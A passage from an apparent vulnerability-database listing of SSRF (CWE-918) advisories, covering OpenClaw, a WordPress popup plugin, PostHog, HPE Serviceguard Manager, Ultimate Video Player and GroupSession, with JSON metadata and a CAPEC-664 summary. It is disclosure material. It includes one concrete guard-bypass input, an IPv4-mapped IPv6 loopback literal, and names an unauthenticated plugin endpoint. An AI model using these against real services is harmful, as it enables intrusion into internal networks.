      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2743.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: SSRF Protection Bypass in Playwright Web Loader via HTTP Redirects"
}

GHSA-JRVC-8FF5-2F9F

Vulnerability from github – Published: 2026-02-17 21:42 – Updated: 2026-02-20 16:44
VLAI
Summary
OpenClaw has a SSRF guard bypass via full-form IPv4-mapped IPv6 (loopback / metadata reachable)
Details

Summary

OpenClaw's SSRF protection could be bypassed using full-form IPv4-mapped IPv6 literals such as 0:0:0:0:0:ffff:7f00:1 (which is 127.0.0.1). This could allow requests that should be blocked (loopback / private network / link-local metadata) to pass the SSRF guard.

  • Vulnerable component: SSRF guard (src/infra/net/ssrf.ts)
  • Issue type: SSRF protection bypass

Affected Packages / Versions

  • Package: openclaw (npm)
  • Vulnerable: <= 2026.2.13
  • Patched: >= 2026.2.14 (planned next release)

Details

The SSRF guard's IP classification did not consistently detect private IPv4 addresses when they were embedded in IPv6 using full-form IPv4-mapped IPv6 notation. As a result, inputs like 0:0:0:0:0:ffff:7f00:1 could bypass loopback/private network blocking.

Fix Commit(s)

  • c0c0e0f9aecb913e738742f73e091f2f72d39a19

Release Process Note

This advisory is kept in draft state with the patched version set to the planned next release. Once openclaw@2026.2.14 is published to npm, the only remaining step should be to publish this advisory.

Thanks @yueyueL for reporting.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T21:42:40Z",
    "nvd_published_at": "2026-02-19T23:16:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOpenClaw\u0027s SSRF protection could be bypassed using full-form IPv4-mapped IPv6 literals such as `0:0:0:0:0:ffff:7f00:1` (which is `127.0.0.1`). This could allow requests that should be blocked (loopback / private network / link-local metadata) to pass the SSRF guard.\n\n- Vulnerable component: SSRF guard (`src/infra/net/ssrf.ts`)\n- Issue type: SSRF protection bypass\n\n### Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Vulnerable: `\u003c= 2026.2.13`\n- Patched: `\u003e= 2026.2.14` (planned next release)\n\n### Details\n\nThe SSRF guard\u0027s IP classification did not consistently detect private IPv4 addresses when they were embedded in IPv6 using full-form IPv4-mapped IPv6 notation. As a result, inputs like `0:0:0:0:0:ffff:7f00:1` could bypass loopback/private network blocking.\n\n### Fix Commit(s)\n\n- `c0c0e0f9aecb913e738742f73e091f2f72d39a19`\n\n### Release Process Note\n\nThis advisory is kept in draft state with the patched version set to the planned next release. Once `openclaw@2026.2.14` is published to npm, the only remaining step should be to publish this advisory.\n\nThanks @yueyueL for reporting.",
  "id": "GHSA-jrvc-8ff5-2f9f",
  "modified": "2026-02-20T16:44:46Z",
  "published": "2026-02-17T21:42:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jrvc-8ff5-2f9f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26324"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c0c0e0f9aecb913e738742f73e091f2f72d39a19"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw has a SSRF guard bypass via full-form IPv4-mapped IPv6 (loopback / metadata reachable)"
}

GHSA-JRVW-HV7X-27P4

Vulnerability from github – Published: 2026-03-21 03:31 – Updated: 2026-03-21 03:31
VLAI
Details

The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-21T02:16:18Z",
    "severity": "HIGH"
  },
  "details": "The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn/v1/integration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get/post which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.",
  "id": "GHSA-jrvw-hv7x-27p4",
  "modified": "2026-03-21T03:31:15Z",
  "published": "2026-03-21T03:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4302"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/frontend/class-rest-frontend.php#L44"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/frontend/class-rest-frontend.php#L55"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/includes/integrations/implementations/class-webhook.php#L38"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/tags/1.4.23/includes/integrations/implementations/class-webhook.php#L45"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/trunk/frontend/class-rest-frontend.php#L44"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/trunk/frontend/class-rest-frontend.php#L55"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/trunk/includes/integrations/implementations/class-webhook.php#L38"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/optin/trunk/includes/integrations/implementations/class-webhook.php#L45"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3484392%40optin\u0026new=3484392%40optin\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b1c3e480-0221-4913-bcce-f34ded9edca8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRWM-4975-3G9G

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

PostHog database_schema Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of PostHog. Authentication is required to exploit this vulnerability.

The specific flaw exists within the implementation of the database_schema method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-25351.

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-9710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T21:15:24Z",
    "severity": "HIGH"
  },
  "details": "PostHog database_schema Server-Side Request Forgery Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of PostHog. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the database_schema method. The issue results from the lack of proper validation of a URI prior to accessing resources. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-25351.",
  "id": "GHSA-jrwm-4975-3g9g",
  "modified": "2024-11-22T21:32:19Z",
  "published": "2024-11-22T21:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9710"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PostHog/posthog/pull/25388"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1383"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JV7J-Q5W4-2QWR

Vulnerability from github – Published: 2023-03-01 09:30 – Updated: 2023-03-10 18:30
VLAI
Details

Unauthenticated server side request forgery in HPE Serviceguard Manager

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-37938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-01T08:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Unauthenticated server side request forgery in HPE Serviceguard Manager",
  "id": "GHSA-jv7j-q5w4-2qwr",
  "modified": "2023-03-10T18:30:22Z",
  "published": "2023-03-01T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37938"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US\u0026docId=hpesbmu04452en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JVGM-HV8G-P8FQ

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2026-04-01 18:36
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in FWDesign Ultimate Video Player allows Server Side Request Forgery. This issue affects Ultimate Video Player: from n/a through 10.1.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:15:47Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in FWDesign Ultimate Video Player allows Server Side Request Forgery. This issue affects Ultimate Video Player: from n/a through 10.1.",
  "id": "GHSA-jvgm-hv8g-p8fq",
  "modified": "2026-04-01T18:36:08Z",
  "published": "2025-09-09T18:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49430"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/fwduvp/vulnerability/wordpress-ultimate-video-player-plugin-10-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JVHX-HC7J-XVXH

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09
VLAI
Details

Server-side request forgery (SSRF) vulnerability in GroupSession (GroupSession Free edition from ver2.2.0 to the version prior to ver5.1.0, GroupSession byCloud from ver3.0.3 to the version prior to ver5.1.0, and GroupSession ZION from ver3.0.3 to the version prior to ver5.1.0) allows a remote authenticated attacker to conduct a port scan from the product and/or obtain information from the internal Web server.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-30T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery (SSRF) vulnerability in GroupSession (GroupSession Free edition from ver2.2.0 to the version prior to ver5.1.0, GroupSession byCloud from ver3.0.3 to the version prior to ver5.1.0, and GroupSession ZION from ver3.0.3 to the version prior to ver5.1.0) allows a remote authenticated attacker to conduct a port scan from the product and/or obtain information from the internal Web server.",
  "id": "GHSA-jvhx-hc7j-xvxh",
  "modified": "2022-05-24T19:09:24Z",
  "published": "2022-05-24T19:09:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20788"
    },
    {
      "type": "WEB",
      "url": "https://groupsession.jp/info/info-news/security202107"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN86026700/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list